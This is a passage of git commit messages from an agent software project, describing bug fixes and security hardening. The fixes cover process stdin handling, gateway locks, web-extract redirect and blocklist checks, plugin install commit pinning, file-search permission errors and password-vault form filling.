The memory loader refuses a provider listed in plugins.disabled; the runtime-key lookup now
applies the same check, so its declared keys warn again like any unknown key.
A background cronjob(action='run') completion rendered "Model: ?" and
"API calls: 0" whatever the job did: _manual_run_completion hard-coded
api_calls 0 and the dispatch only knew the job's model pin (None on the
default model). The runner now reads the fire's run session from
state.db (list_cron_job_runs by execution id, summed over its
compression chain); with no run session the fields are omitted, and the
async-delegation event and renderer omit them instead of printing ?/0.

process_manage write/submit on a local background process spawned
without pty said "non-local backend or stdin closed". The new sibling
tools/process_registry_stdin.py says to relaunch with pty=true, except
where a PTY cannot be had (isolated worker log spawn, PTY library
missing) or the backend is non-local. process_registry.py line count
unchanged.

Found on Hermes Cloud staging.
terminal(background=true) without pty connects stdin to /dev/null, so
`read x; echo $x` exits before any process_manage write and the write
said only "Process has already finished". Name the cause and the pty=true
relaunch there too (same PTY-availability guard).
- spawn_local records why a pty=true spawn fell back to pipe mode
  (ProcessSession.pty_fallback); the stdin errors name that reason instead
  of telling the agent to repeat a pty=true request that already failed.
- A background cron run dispatches with model=None: the run session is the
  only source of the notice's model, so a refused fire of a pinned job no
  longer prints the pin it never ran.
- Tests wait on the completion queue / wait_until instead of sleep polling,
  and spawn in tmp_path.
A pipe-mode process that never touched stdin did not "get end-of-file"; the
message now says "if it read stdin, it got end-of-file at once".
cli-config.yaml.example seeded `teams: [hermes-teams]` and
`google_chat: [hermes-google_chat]` into every install (install.sh,
install.ps1, the Docker stage2 hook, `hermes doctor --fix`). Both are
bundled plugin platforms with no static toolset, so every schema build
(the kanban gate resolves every saved row) logged "platform 'teams' has
no valid toolsets configured" to errors.log on homes that never set up
Teams or Google Chat, and still did once Teams was enabled.

- Drop the two rows from the example: a plugin platform falls back to
  hermes-<platform> on its own (resolution identical with and without
  the row, before and after plugin discovery).
- The runtime warning and `hermes config check` count a platform's own
  hermes-<platform> bundle as valid, so existing homes (incl. the
  homeassistant row pre-left-core homes carry) stay quiet; a typo in the
  row still warns. The own-bundle check runs before the resolver, so the
  hot path does no manifest scan, and the catalog scan from the salvaged
  commit is dropped (862 catalog YAMLs parsed per call).

Found on Hermes Cloud staging.
A bypass launch (ignore_user_config) must never read profile plugin state;
the warning now short-circuits on the own bundle or any registered toolset
and only builds saved_toolset_resolver for names those cannot place.
The own-bundle exemption compared name == hermes-<platform> for any key, so a
misspelt platform key naming its own bundle (telegarm: [hermes-telegarm]) went
silent in both the session-time warning and `hermes config check`, where main
reported it. is_known_platform_bundle() exempts the bundle only for a builtin,
shipped plugins/platforms, left-core or registered platform.
On Windows every turn through `python -m tui_gateway.entry` (the process the
Ink TUI spawns) stalled forever: "Still starting the agent" after 30 s and no
message.complete. Windows E2E (real processes) went red on
test_tui_gateway_utf8_frames_reach_wire and
test_folder_reference_header_uses_one_separator in both 10/28 dispatches.

faulthandler dumps of the gateway on a real Windows runner show the agent
build thread parked for good in hermes_cli/version_info._run_git (the version
probe _session_info runs), past its 3 s timeout. Since 68e4c2b31a that probe
runs lazily, i.e. the first time while the main loop is blocked in
sys.stdin.readline() on the RPC pipe. subprocess gives a child launched
without stdin= an inheritable duplicate of STD_INPUT_HANDLE, so git got the
RPC pipe as its stdin; the POSIX close-on-exec guard (ec1f26f476) skipped
Windows, and set_inheritable would not help there anyway.

On Windows the gateway now reads RPC from a private non-inheritable dup of
fd 0 and points fd 0 / STD_INPUT_HANDLE at NUL, so every child gets NUL as
stdin, whichever library launched it.

Windows-only contract test: a child launched without stdin= read the
gateway's pending request on main ('{"id": "req-1"}\n') and reads '' here,
while the gateway still reads its request.
The Windows stdin contract test wrote its request and called communicate(),
which closed the pipe: it checked buffered bytes plus EOF, not a child
blocked on the still-open pipe. The writer now stays open until the gateway
reports what the child saw, then sends the request and checks the gateway
reads it.
Discovery (`gateway ensure`, every client's liveness check) answers "is a reservation pending?"
by taking gateway.lock's flock for an instant (gateway.status._probe_lock_file). A booting
gateway whose non-blocking reserve landed in that instant re-checked which homes conflict, found
none (the probe had already let go) and still raised: `Cannot reserve gateway profiles`, exit 1,
and the client that started it reported runtime_exited. _conflicting_homes' own docstring already
promised "a home freed meanwhile is simply not listed; the next reserve attempt takes it".

- run_bootstrap._reserve_waiting_out_browse_reconcile: an empty conflict set retries (still
  bounded by the existing deadline); a positively identified foreign owner still refuses at once.
- runtime_ownership.lock_record_unpublished: a record naming the CALLER is its own rolled-back
  all-or-nothing attempt, so a probe holding that home during the re-check is not an owner.

Fixes the CI flake in test_multiplex_hot_serve_live::
test_named_profile_ensure_during_multiplexer_downtime_starts_the_multiplexer.
The running multiplexer's hot-serve reserved a new profile's gateway.lock with one non-blocking
attempt (run_runtime.reserve_profile_home); a client discovery probe holding the flock in that
instant made it OwnershipConflict, and the profile was parked as "home owned by another gateway"
and only retried on an explicit control-socket rescan.

The bounded retry from the boot reserve moves into one shared helper,
runtime_ownership.reserve_waiting_out_transient_holders, used by both the boot reserve and
hot-serve: a contender that is gone by the re-check (a probe) is retried after a 15 ms backoff, a
browse reconcile or unpublished record is waited out, a live foreign owner still refuses at once,
and one fixed deadline bounds it all. Every grant is a real reserve. Hot-serve runs the reserve
in a worker thread so a wait never blocks the event loop.

Tests use real flocks held by a separate process (probe and live owner) through the real
_serve_profile_runtime, plus a persistent-flicker case that still refuses at the deadline; the
boot control asserts refusal well before the deadline instead of an absolute wall-clock bound.
Review finding P2 on #146120: cancelling the hot-serve's bare asyncio.to_thread
await left the reservation worker retrying. Once the transient holder let go it
took the profile's gateway.lock flock AFTER the canceller's ownership cleanup,
with no coroutine left to build the authority or release it (the gateway stop
cancels the reconcile watcher, then releases reservations).

reserve_waiting_out_transient_holders takes a cancel Event: checked before each
attempt, its waits wake on it, and a grant that lands after it is set is
released at once (ReservationCancelled). reserve_profile_home_in_worker runs
the hot-serve reserve with that Event; on CancelledError it sets it, waits for
the worker to finish (absorbing further cancels), undoes a reservation the
worker completed first, then re-raises. Boot's reserve runs synchronously on
the loop before any task can cancel it, so it needs no wrapper.

The flock is never bypassed: one gateway per host, two gateways never both own
a profile.
Chrome draws no compositor frame for a hidden tab, and Browser Use cloud
never answers a png Page.captureScreenshot for one, while the harness
creates its tabs in the background. browser_exec now launches the harness
through a thin launcher that rebinds capture_screenshot() (bring a hidden
tab to the front, png with a 10s deadline, then one jpeg fallback saved
as png) and, on cloud-provider browsers, new_tab() (activate the tab).
The model code still arrives untouched on stdin.

Found on Hermes Cloud staging.
capture_screenshot() activated a hidden agent tab on every backend, so on
/browser connect, the real-profile browser or a local headed Chrome each
screenshot switched the user's visible tab. Activation now follows the same
cloud flag new_tab uses; the 10 s png deadline and jpeg fallback stay on every
backend. new_tab's activation on cloud no longer raises after the tab exists
when a provider rejects Target.activateTarget.
The direct-API Browser Use route stamped "cloud" from configuration before the harness chose its
browser. With BU_AUTOSPAWN the harness attaches to a local Chrome that is already listening, and
capture_screenshot()/new_tab() then switched the user's visible tab. That route now asks the live
harness daemon (daemon_browser_kind() == "cloud", set only by a BU_BROWSER_ID cloud browser) at each
call; a provider session whose CDP endpoint Hermes resolved keeps activating, every local, connected
or autospawn-fell-back-to-local browser never does.
Scraping vendors answer 200 and report the target page's own status inside the
payload. Firecrawl (direct key, Nous Tool Gateway, keyless REST) put it in
metadata.status_code / statusCode and Hermes never read it, so
web_extract("https://httpbin.org/status/403") returned the stub error page
with error: null: the agent could not tell blocked from blank, the keyless
rescue never ran, and the error page was cached as content.

One shared helper in plugins/web/_common.py (origin_http_error /
with_origin_status / vendor_error_entry) now turns an origin status >= 400
into "HTTP <code> from origin[: reason]", keeping any error-page body as
content. Applied to:
- Firecrawl SDK/gateway scrape and the keyless REST scrape (both key spellings)
- Parallel keyed + keyless (error was the bare "http_error"; the payload's
  http_status_code was dropped)
- Exa keyed (URLs Exa could not fetch were silently missing from results;
  their reason lives in response.statuses)

Tavily, Perplexity and Keenable already surface per-URL failures (Tavily's
failed_results carry no status code).

Salvages the Firecrawl statusCode check from #99549 (and #99556), which read
only the camelCase key and only flagged empty content, so it missed the
Gateway/SDK case where the 403 body is a non-empty stub page.

Found on Hermes Cloud staging.

Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>
Co-authored-by: Ahmett101 <ahmet.tunc@gmail.com>
An entry carrying an origin HTTP error now keeps the page body (a 404
page can help), but _truncate_results skipped every entry with an error,
so a large 403/500 page entered context whole. Error entries' content
now goes through the same head/tail window and footer.
The rescue exists for backend outages. A batch whose URLs all answered 404/410
is the pages' own answer, so re-fetching it through the keyless ring wasted a
request and contradicted _dispatch_extract's docstring. Origin-status errors
(the "HTTP <code> from origin" shape) are now excluded from the whole-batch
trigger; backend failures still trigger it.
The new "HTTP 429 from origin" error matched the ring's rate-limit predicate,
so a site's own 429 failed over Parallel -> Firecrawl -> Keenable -> Exa and
returned Exa's error instead of the origin's. Origin errors are the page's
answer; vendor-side 429s still fail over.
Keyless Exa reports the target's status as CRAWL_HTTP_<code> / CRAWL_NOT_FOUND and
Keenable mirrors it as its own HTTP status with a "The target server ..." message.
Neither used the "HTTP <code> from origin" shape, so a site's own 429 walked the
keyless extract ring as if the vendor throttled us, and a 404 read as a vendor
failure with an API-key hint. Normalise both (keyless and keyed paths) into the
origin shape; Keenable's own rate limit and refusals keep the vendor wording and
still fail over.
_scrape_one read metadata.sourceURL as the post-redirect URL, but Firecrawl
reports the REQUESTED url there (sourceURL on REST, source_url in the v4 SDK's
model_dump used by the direct-key and Tool Gateway paths) and the final URL as
metadata.url. The SSRF / website-blocklist re-check therefore re-checked the
requested URL, and a public redirector returned a blocklisted page.

Read the final URL from metadata.url, and fill sourceURL from source_url so the
extract cache still files a redirected page under the requested URL.

Found on Hermes Cloud staging.
The extract cache gated a hit on the REQUESTED URL only. A redirector page
cached while its target was allowed kept serving the target's content after
the target was added to security.website_blocklist (or turned private), until
the entry expired.

Record the post-redirect URL in the cache index and, on a hit, run the same
website-policy and SSRF checks on it; a refused final URL is a miss, so the live
fetch re-checks the redirect and refuses with blocked_by_policy.

Found on Hermes Cloud staging.
extract_cache_put skips oversized pages, but the final-URL record still ran
and pointed the OLD entry (a now-blocked page) at the refetch's allowed
target, so later hits checked the wrong URL and served the blocked page.
The put now reports whether it wrote, and the final URL is recorded only
then.
Only Firecrawl re-checked the post-redirect URL against the website blocklist
and SSRF. Keenable (keyed and keyless) reports the redirect target in `url`
with `sourceURL` = requested and never re-checked it, so a redirect into a
blocklisted host was served, and the keyless rescue ring had the same gap.

_dispatch_extract now runs website policy + SSRF on every non-error page a
provider (or the rescue ring) reports under a URL that was not requested,
returning Firecrawl's refusal shape (`blocked_by_policy` for policy, the
private-address error for SSRF). Refused pages are never cached, so a cache
hit can no longer be refused into a paid re-fetch of a page we will not
serve. A policy check that raises refuses (fail closed); the cache-hit
final-URL gate now treats a raising check as a miss instead of propagating.
Firecrawl's provider-local check is kept unchanged.
The cache body and its final-URL annotation were separate writes, so two fetches of one key
interleaved as A-put, B-put, B-final, A-final left B's body validated against A's destination.
The index entry now records the body's sha256; the final-URL write is compare-and-set on it and
a hit is served only when the body on disk matches the entry it was recorded for.

The keyless Firecrawl path returned the requested URL and dropped metadata.url, so the shared
redirect gate never saw the destination. It now reports metadata.url (sourceURL = requested).
The content digest hashed the provider's raw text, but the cache reads
the file in text mode (CRLF/CR -> LF) with utf-8-sig (BOM dropped), so
a CRLF page never matched and every call re-bought the vendor fetch.
Hash the normalized form on both sides.
In the browser-hosted app, installing a desktop plugin dead-ended: the install dialog could inspect a
repository through the gateway (`plugins.manage inspect`, #145770) but had nothing to install with.
A desktop-only package answered "This package has nothing to install here." and the desktop half of a
mixed one was skipped with a toast, because the only clone lived in Electron
(`installDesktopPluginFromGit`). Since #145072 the Webapp *loads* whatever sits in
`<root>/desktop-plugins/`, so the last mile was missing: no way to put it there from the UI.

This adds `plugins.manage` `install_desktop` / `remove_desktop` — the backend half of that install —
and points the dialog at them when it is not running in Electron.

- `hermes_cli/desktop_plugin_install.py`: clones a repository's desktop half into the app-level
  `desktop-plugins/` root. Same resolution, folder name and package-marker rules as Electron, and the
  same staged-copy-then-rename publication under the root's writer lock, so a reconcile pass cannot
  copy a folder underneath it. The clone is held to the commit the inspection read, so a repository
  that moves after review cannot install a tree nobody looked at; `force` re-inspects (a forced
  reinstall means the repository moved). `remove_desktop_plugin` refuses a package's own half unless
  forced, and refuses a linked folder it would only half-delete.
- `plugins_cmd_inspect.forget_inspection`: drops the ten-minute answer cache, used by a forced
  reinstall.
- `desktop_plugin_halves`: `ROOT_WRITER` and `publish_desktop_tree`/`read_package_marker`/`mtime_ms`
  go public (the installer shares the root's lock), a standalone plugin publishes with no marker, and
  the Webapp's read router imports the root from the one place that defines it.
- `plugins.manage install_desktop|remove_desktop` + contract (`tools_mcp_plugins`), regenerated.
- Renderer: `desktopInstallSupported()` is also true in a browser-hosted tab, `cloneDesktopHalf` falls
  back to the gateway, and a backend that predates the action keeps the old "unavailable in this
  environment" wording. Uninstalling a disk plugin uses the same fallback.
- Docs: the Webapp install/remove paragraph now describes the working path.

Tests: 10 installer (real local clones: standalone vs package marker, force, sha pinning, path-shaped
names, linked folder, removal rules), 6 gateway RPC (incl. contract validation), 3 browser-modal cases
(desktop-only, both halves, old backend) beside the 6 existing ones, and one route test that installs
through the backend and then reads the plugin back over `/api/desktop-plugins/*` — the whole trip the
browser makes.
Hardening on top of the contributor's Webapp install path (salvage #146132). A browser tab asks the
serving host to clone code onto it, so the host now decides what lands, not the tab:

- `ref` is required: the 40-hex commit the dialog showed (or the user's pin). The clone is checked
  out at exactly that commit and the halves are read from that checkout, instead of re-using a
  ten-minute inspection cache and installing whatever it named; a catalog install whose pin moved is
  refused. `forget_inspection` goes away with the cache dependency.
- https only: `file://` would copy any folder of the host, `ssh`/`git@` spends the host's keys,
  `http://` can be rewritten in transit. Native Desktop keeps those for a user at their own machine.
- The published tree may hold no symbolic link (a `desktop -> /anywhere` link in a repository
  published that host folder) and is capped at 64 MB.
- A standalone plugin's in-tree `.hermes-package.json` is dropped as Electron's installer drops it:
  only an installer writes the marker that pairs a folder with an agent package.
- `desktop_plugin_halves`: the helpers the installer shares become public names instead of
  wrapper functions around private ones.
- Renderer sends `ref: plan.ref ?? plan.probe.sha`.
- Tests: the contributor's installer/RPC/route cases now run through an https identifier at a real
  commit (only the clone's network leg points at the local repository); RPC cases folded into one
  round trip; two added invariants (https only, link escape), each proven red with its guard removed.
Review follow-ups on the Webapp desktop-plugin install:

- A package with an agent half was cloned twice from a browser tab: the agent
  install, then a second install_desktop clone into the folder the host's
  5-second scan also copies that package's desktop half into, so the clone
  could answer "already exists" or the two copies could be different commits.
  A tab's backend is the host that serves it, so the package lands where the
  tab's plugins load from: the desktop half now comes out of that one checkout
  through the host's reconcile, as native Desktop does with a local backend.
  install_desktop stays for desktop-only repositories.
- A catalog pin naming an annotated tag never matched the commit inspect
  reports. The clone now fetches the catalog's own pin (as the agent installer
  does) and requires HEAD to be the commit the dialog reviewed.
- The published folder no longer carries the clone's .git (nothing reads it),
  and removal / force replacement use rmtree_readonly, so a folder holding Git's
  read-only objects (a native or hand install) can be deleted on Windows.
A mixed package with plugin.yaml + __init__.py and a ROOT plugin.js is
reported by the install probe as carrying both halves, so a browser tab
(and native Desktop on a local backend) installs the agent half alone and
leaves the desktop half to the reconcile pass. Both reconcilers (the host's
desktop_plugin_halves.py and Electron's desktop-plugins-root.ts) only read
desktop/plugin.js, so nothing was copied while the dialog still said
"Desktop plugin <name> installed".

- One entry rule for every reader: desktop_source / desktopHalfSource (root
  plugin.js wins, else desktop/plugin.js), used by both reconcilers, the
  Webapp installer, findDesktopEntry, plugins.manage list's has_desktop_half
  and the plugin doctor's stale-copy check.
- A root-layout half publishes the package root as the installers do,
  without .git and __pycache__, held to the installer's plain-tree rule
  (no links, 64 MB cap); a refused tree is logged and not copied. The
  marker's source is the package root, so the prune follows it.
- The install dialog reports the desktop half only when the reconcile
  copied it or <root>/<name>/plugin.js is already there; an agent install
  that left no desktop half reports "Desktop plugin install failed".
plugin_surface only recognised desktop/plugin.js, so a catalog re-pin
that added a root plugin.js (a layout every installer accepts) was not
reported as a widened desktop surface. Read the installers' shared
desktop_source rule instead.
- A dev checkout linked at plugins/<name> with a root plugin.js: Electron's
  publish copied the link itself (fs.cp keeps a top-level link), so the
  "copy" was the checkout, the marker was written into it, and the prune
  (which skipped linked folders) left a ghost after the link went. Copy from
  the resolved folder; never keep or stamp a link at <root>/<name>; the prune
  follows links and drops only the link. The host twin gets the same
  link-target and prune handling (its copytree already copied the files).
- The install dialog decided desktop success from the reconcile's touched
  list, which also names folders the pass deleted: a force reinstall whose
  new tree dropped its desktop entry read as installed. Read the folder
  (Electron fs bridge, or the host's /api/desktop-plugins) instead.
- Re-pin consent: the desktop half is a presence surface, so moving it
  between plugin.js and desktop/plugin.js widens nothing.
The dialog inspects a source and shows its commit, but the agent half
cloned the branch tip at Install time: a branch that moved in between put
down a tree nobody reviewed, and the desktop half copied out of that
checkout followed it. Native Electron's probe returned no commit at all, so
its desktop clone had the same gap.

- plugins.manage install takes `inspected_sha` (custom sources without a
  pin). The clone stays an ordinary branch checkout and is refused when its
  tip is not that commit: "The source changed since you reviewed it ...
  Re-open the install dialog". Not `ref`, which records a pin that refuses
  every later `update`; not a detached checkout at the old commit, which
  `git pull` cannot update. Catalog picks keep their pin.
- That install drops inspect's kept answer for the source, so re-opening
  the dialog reads the moved branch instead of the stale commit.
- Electron: probePluginRepo returns the commit it read; installDesktopPlugin
  takes it and installs exactly that tree (fetch + verify) or refuses.
A newer native Desktop on an older SSH/URL/Cloud backend had every custom-source
install refused at admission ("invalid params for plugins.manage: inspected_sha:
... out of sync"). Resend once without the field on exactly that refusal (the
handler never ran), the same drop-and-resend session.create uses for fields older
backends lack. Current backends still get inspected_sha and refuse a moved branch;
Electron's own desktop-half install keeps its exact-commit check.
Two follow-ups to the install dialog holding an install to the commit it
inspected.

- An install is resent without `inspected_sha` only for an older backend's
  admission refusal: a JsonRpcGatewayError with code 4000 whose message
  opens with `validate_params`' prefix. Matching the text anywhere also
  matched a 5026 install failure that forwards a git server's clone error,
  so that server could get the reviewed commit dropped.
- A refusal because the source moved past the reviewed commit now carries a
  structured marker: the backend raises PluginSourceMoved and
  `plugins.manage` answers 5026 with `data.reason == "source_moved"` (agent
  install and `install_desktop`); Electron's desktop install returns
  `sourceMoved: true` when the reviewed commit cannot be checked out. The
  dialog answers it by dropping its inspection, reading the source again
  and naming the new commit; Install waits for it. Retry used to resend the
  old commit and fail the same way every time. A pin the user typed is not
  re-reviewed, and nothing from the stale review installs (the desktop half
  is skipped when the agent half was refused).
Three follow-ups to the install dialog holding an install to the commit it showed.

- Catalog picks. The backend reloads the live catalog entry at Install, so a
  re-pin between the dialog's inspection and the click installed (and, through
  the one checkout, published the desktop half of) a tree nobody reviewed;
  the renderer sent no inspected_sha for catalog sources and neither the
  catalog install nor reuse of a disabled tree read it. Now the catalog
  install compares the commit it actually checked out with the inspected sha
  peeled through the clone (annotated-tag pins still install), a disabled tree
  is reused only at that commit (or its recorded tag pin), and catalog dialogs
  send it: the backend's inspect sha in the Webapp, the shown reviewed pin on
  native Desktop (whose Electron probe reads the branch tip). After a re-pin
  refusal the native dialog re-reads the catalog for the new pin. The record
  stays the catalog's pinned record. Electron's desktop clone uses the same
  reviewed commit and peels a tag pin.
- Older backends. A backend that refuses inspected_sha at admission is no
  longer retried without it behind the user's back: the dialog explains that
  this backend cannot guarantee the reviewed version is what gets installed
  (update it for that guarantee) and installs only on an explicit
  "Install anyway" (profile kept); Cancel installs nothing.
- Partial installs. Native Desktop on a remote backend could install the agent
  half at commit A, fail the desktop half (source moved), re-review to B and
  let a second Install put the desktop half down at B beside the agent half at
  A. That is now reported as a partial install (agent half in at A, desktop
  half not); Install stays disabled until Force reinstall, which replaces both
  halves with the version shown.
A reviewed catalog pick kept Install enabled while the post-refusal
catalog lookup was still running; a click then waited for it and
installed the new pin unseen. Install now stays off until the re-read
inspection and pin are on screen, and the request is captured at the
click.
After a killed update, the first launch could refuse with "Gateway draining:
update_paused" although nothing was updating. A killed update always leaves a
dead .hermes-update-in-progress marker; while it is there, every ensure poll
probes the checkout kernel lock, and the gateway that ensure just started
probes the same lock while it boots (its launch reclaims that marker). The
probe took the lock exclusively, so two probes in the same instant read each
other as a holder, and the client's single sample fenced the launch.

checkout_lock_held now takes a SHARED lock (POSIX flock LOCK_SH; Windows
LockFileEx without LOCKFILE_EXCLUSIVE_LOCK over the owner byte and the 16
lease bytes). Holders still lock exclusively, so a real holder (or a leased
child of a dead one) still fences; probes never conflict with each other.
The readers stopped on their own six-second clock, so a slow runner
could let them finish before the parent polled. They now stop only on
the parent's signal, must still be alive when polling ends, and report
a non-zero probe count.
rg --files exit 2 (EACCES on any walked path) was treated as an invocation
failure in the file-discovery lane: stderr was discarded (2>/dev/null) and
exit 2 was outside the accepted {0,1,124} set, so one unreadable directory
anywhere under the search root produced the bare error "File search failed
while running ripgrep." with no detail and no results.

- _search_files_rg merges stderr, separates diagnostics from paths by the
  "rg: "/"grep: " prefix, and degrades a permission-only exit 2 to partial
  results plus a "Skipped N unreadable path(s)" warning, in both orders.
  The directory supplement (#54347) still runs on the degraded path.
- Content search keeps the same partial-success contract for rg AND grep:
  the unreadable-path matcher accepts grep's "grep: <path>: Permission
  denied" as well as ripgrep's "(os error N)" spellings, so the grep
  fallback no longer hard-fails on a tree with an unreadable directory.
- Bad regex/glob and other IO errors still fail closed, now with the
  diagnostic text; the modified-order failure no longer blames the ripgrep
  version the capability gate already accepted.
- The bounded-find fallback treats find exit 1 with a payload as partial
  results plus a warning (empty payload still fails closed).
The count branch of _parse_search_output computed the partial-result warning but did not pass it to SearchResult. Add count-mode regression tests (partial warning kept, clean count stays warning-free).
The find -prune -exec grep lane discarded stderr (2>/dev/null), so find's
"Permission denied" diagnostic never reached the parser and a readable match
beside an unreadable subtree came back warning-free. Keep stderr attached and
recognise find's quoted diagnostic shape in the permission classifier.
Layered on the salvaged #114655 commits:

- The native rg lane merged stderr into the bounded stdout stream, so 60
  permission-denied lines filled a limit=3 page and search_files returned
  zero files for a tree that had five. Kept stderr now drains on its own
  pipe (the shell lane never piped stderr into `| head` either) and is
  prepended to the output for the diagnostics parser.
- The no-rg find lane keeps find's stderr (outside sort/head) so the
  warning names the unreadable paths instead of a generic sentence, and a
  permission-only exit 1 with no matches is an empty result plus warning;
  any other exit-1 failure shows find's first diagnostic.
- rg exit 2 beside real output with a non-permission diagnostic keeps the
  output too (rg printed every path it could), with a warning naming the
  first error. Same for content search.
- Warning text no longer tells the model to "search the path directly"
  (that cannot help with EACCES) or claims the whole scope is unreadable
  when nothing matched in the readable part.

Found on Hermes Cloud staging: search_files(target="files") on a data dir
holding a root-owned mode-700 lost+found failed outright.
Drop the generic exit-2 acceptance for target="files": main pins that rg output
with an exit 2 and no permission diagnostic fails closed
(test_rg_partial_output_with_error_exit_fails_closed). Only permission-denied
skips degrade to partial results.
Keeps SearchMixin._search_files under the complexity cap.
On macOS a child that exited but is not yet reaped has no process group:
os.getpgid raises ProcessLookupError. The bounded native rg lane polls,
then kills the group; when rg finished between the two (the bound hit
right at exit), _kill_process_group_posix had no recorded pgid to fall
back on and the search raised. Record pgid and leader start time at
spawn, as LocalEnvironment._run_bash does. Seen on the macOS CI lane.
- The native rg runner keeps draining stderr but retains at most 64 KiB
  (first line always kept); dropped lines are tallied and still counted in
  "Skipped N ... (+N more)". Unreadable-path dedupe uses a set (first-seen
  order kept).
- find exit 1 with results now names the first non-permission diagnostic
  ("Some paths could not be read: ...") instead of reporting a permission
  problem; the rg/grep content lane does the same when a non-permission
  error sits beside permission skips.
- The unreadable-bound test checks the exact skip count only on a run whose
  limit lets traversal finish; the bounded run asserts the budget and the
  warning's presence.
Once permission errors filled the 64 KiB retention cap, later lines were
dropped unread, so a vanished path or read failure behind them left a
permission-only diagnostic and the search reported partial success.
The drain now keeps the first non-permission line past the cap.
_PERMISSION_DENIED_RE made the rg:/grep:/find: prefix optional, so the shell's
own 'bash: /usr/bin/rg: Permission denied' (exit 126 under pipefail) parsed as
an unreadable path and content search returned an empty result with a
'Skipped 1 unreadable path(s): bash: /usr/bin/rg' note. Require the tool
prefix, and report the shell's exec failures (126/127) as a search error.
A comma/space multi-path search merged per-root results but dropped each
root's skipped-unreadable-path warning (content mode) and overwrote the
traversal warning with its "searched N that exist" note (filename mode),
so a search that skipped mode-000 directories looked complete.

Child warnings are now merged (skipped-path sentences collapse into one
with the summed count; other notes deduplicated; the nothing-matched hint
dropped once any root produced results) and the multi-root note is
appended. The macOS protected-folder note on single-root searches is
appended the same way instead of replacing the existing warning.
The multi-root merge rebuilt each root's skipped-path list by regex-parsing
the "Skipped N unreadable path(s)..." sentence and splitting on ", ", so a
skipped directory named "one, two" became two fragments and the merged
count was wrong (3 instead of 2). SearchResult now carries skipped_paths and
skipped_omitted beside the warning; the merge sums those and composes the
one sentence itself. Single-root warning text is unchanged.
The grep/find fallback can report thousands of unreadable paths; the
merge checked each against a growing list although only three are shown.
Stop collecting at three distinct names while still summing every count.
poll_container and the dashboard probe loop let a single docker exec that
outlived its 10 s timeout raise TimeoutExpired out of the whole poll. On a
loaded arm64 runner the daemon stalls (same job logged 'use of closed
network connection' on docker.sock) and
test_dashboard_insecure_env_var_no_longer_bypasses_gate failed on PR
#146111, whose diff touches only SKILL.md text. Treat the timeout like any
other failed probe and keep polling to the deadline.
A socket drop while the answer after a tool call streams re-runs the cold
resume of the open chat, which unbinds the view from its runtime until the
resume RPC answers. When the turn's message.complete lands in that window it
settles only the runtime's state; the view still shows the first chunk.

The settle tracker (settled-turns.ts) recorded that complete anyway, so
liveTurnSettledDuringResume told the resume "the live transcript on screen is
newer than your inputs" and it kept the view, throwing away the page the
idle-resume barrier had just re-read (rereadPageAfterResumeBarrier, #145612)
with the whole committed reply. The view stayed truncated until a periodic
session sweep or a reload.

A settle now counts only when the view was bound to that runtime as it landed.
An off-screen settle clears the mark, so the resume reconciles its
post-barrier page as #145612 intended. A settle the view painted keeps the
live transcript exactly as before.

Evidence: core e2e reply-tail-after-reconnect (instrumented: complete arrives
with the view unbound, the runtime state and the re-read page both hold the
full reply, the shortcut picks the stale view).
The existing test only checked that noteTurnSettled skips an off-screen
settle. These two drive the real useSessionActions resume with the real
message.complete handler, fired while session.resume is in flight and the
hook's own view binding is null, and assert what the user sees: the
whole reply, not its first chunk.

- main window: the prefetch page lacks the reply, the idle resume omits
  its snapshot, and the barrier re-read must win over the stale view.
- watch window: no prefetch; the resume's own snapshot must win.

Both fail on origin/main's message-stream/settled-turns/resume-reconcile
sources with ['A1firstanswer', 'A2inarratingA2'] and pass on this head.
A browser tab's /api/ws reaches a gateway through the dashboard mount
(chat_ws.gateway_ws), not the native ticket path (gateway/run_api.py) that wraps
the socket in owner_scope(authority). Legacy handlers the socket falls back to
(billing.state, subscription.state, usage.bars, and the account reads they spawn
on worker threads) bind no scope of their own, so on a multiplexed gateway every
Webapp billing/usage read resolved the Nous Portal override with no profile
secret scope: errors.log logged "HERMES_PORTAL_BASE_URL/NOUS_PORTAL_BASE_URL
unreadable — no profile secret scope on a multiplexed call", the override was
dropped, the stored non-production portal_base_url was then refused by the
allowlist ("ignoring invalid portal_base_url ... using default") and the token
resolution fell back to the production Portal.

gateway_ws now binds owner_scope() of the authority it serves (the ticket's
profile when the tab named one), exactly as the native ticket path does, so
every handler on the socket (and every thread it copies its context into) reads
the right profile's secrets.

Found on Hermes Cloud staging.
Login forms rendered inside a shadow root (Home Assistant, custom-element SPAs) were invisible to
document.querySelectorAll, so the vault found no password field. The inspection and fill scripts now
walk open shadow roots.

Salvaged from #135204.
browser_vault reached pages only through the task's CDP supervisor. Camofox (now a plugin) has no
CDP endpoint, so every fill on a Camofox tab ended with "Could not determine the current page
origin": the username from browser_vault list worked, the password never filled.

ctx.register_browser_page_backend lets a plugin browser carry the vault's origin read, form
inspection and fill script to its own page. Core keeps the secret contract: the exact-origin
pre-check and in-page re-check, the Bot Desktop takeover check, an in-page try/catch around the
secret script, and fixed failure text on that path. Registration follows the login-backend
provenance rule (bundled, or catalog verified/official at its pin) and is refused under
plugins.isolation: host.

Consolidates the core half of #127179 and #135204 (the Camofox halves already shipped in the
official plugin); the in-page wrapper follows #114414.

Co-authored-by: Jonathan Bruce <jonathan.bruce369@gmail.com>
Co-authored-by: clsferguson <cferguson@live.ca>
Co-authored-by: Benjamin PERRY <benjaminperry6@yahoo.fr>
document.forms misses a <form> inside a shadow root, so its controls had no formIndex and split OTP
boxes from two such forms counted as one group; aria-labelledby ids inside the shadow tree were not
resolved. Forms are collected in the same walk and labels resolve against the control's root first.
The fill events now cross the shadow boundary (composed), so a component tracking its value on the
host sees the password; tab selection finds a form inside an open shadow root; the fill script
collects the stamped controls once instead of walking the page per field.
submit_stdin appended \n unconditionally, but raw-mode TUIs (claude,
vim, htop) bind Enter to \r — what a real keyboard sends — so submitted
input never registered as Enter in interactive TUI sessions. Send \r
for PTY sessions instead; canonical-mode children are unaffected since
the tty driver's ICRNL maps \r to \n. Same reason tmux send-keys Enter
transmits \r. Non-PTY (pipe) sessions keep \n.

Claude-Session: https://claude.ai/code/session_013LH6C3g6wjMjhSXRauyVCW
Scripted drivers deliver the text and its Enter in ONE read (`tmux send-keys
'text' Enter`, a PTY write of `text\r`). The classic CLI's #10994 guard treats
every Enter within 50 ms of a buffer change as a pasted newline, so the burst
never submitted; the Ink TUI routed the CR-carrying token through the paste path
and dropped it.

Classic: an Enter with more keys of the same read queued, or the tail Enter of a
burst that already held one, stays a newline (unbracketed multi-line paste is
unchanged). The lone Enter that ends a burst inserts a provisional newline and
submits once input stays quiet for 250 ms; input in that window (a paste split
